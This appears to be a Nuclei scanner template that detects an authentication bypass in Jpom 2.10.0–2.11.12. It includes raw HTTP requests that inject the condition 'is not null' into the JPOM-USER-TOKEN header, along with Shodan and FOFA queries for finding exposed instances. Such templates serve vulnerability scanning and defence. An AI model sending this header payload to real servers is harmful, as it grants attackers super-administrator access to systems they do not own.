Copy
id: CVE-2026-120201
info:
name: Jpom 2.10.0-2.11.12 - Authentication Bypass
author: 0x_Akoko
severity: critical
description: |
Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection.
impact: |
Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise.
remediation: |
Update to version later than 2.11.12 or latest available version.
reference:
- https://github.com/dromara/Jpom/issues/121
- https://nvd.nist.gov/vuln/detail/CVE-2026-120201
- https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header
- https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-120201
epss-score: 0.02215
epss-percentile: 0.8275
cwe-id: CWE-943
metadata:
verified: true
max-request: 2
vendor: dromara
product: jpom
shodan-query: http.title:"Jpom"
fofa-query: title="Jpom"
tags: cve,cve2026,jpom,dromara,auth-bypass,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /user/user-basic-info HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- '!contains(body, "md5Token")'
condition: and
internal: true
- raw:
- |
POST /user/user-basic-info HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
JPOM-USER-TOKEN: is not null
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "md5Token", "systemUser", "success")'
condition: and
# digest: 490a00463044022011d4e8bf8785d2b10c0775ca2dda679719888415c1d66e1717d9026a5198a69b022028411d1a3b32cdc6959e0daf0df10eaaeb9ee1a98df4e088622a5d7d74f1733a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.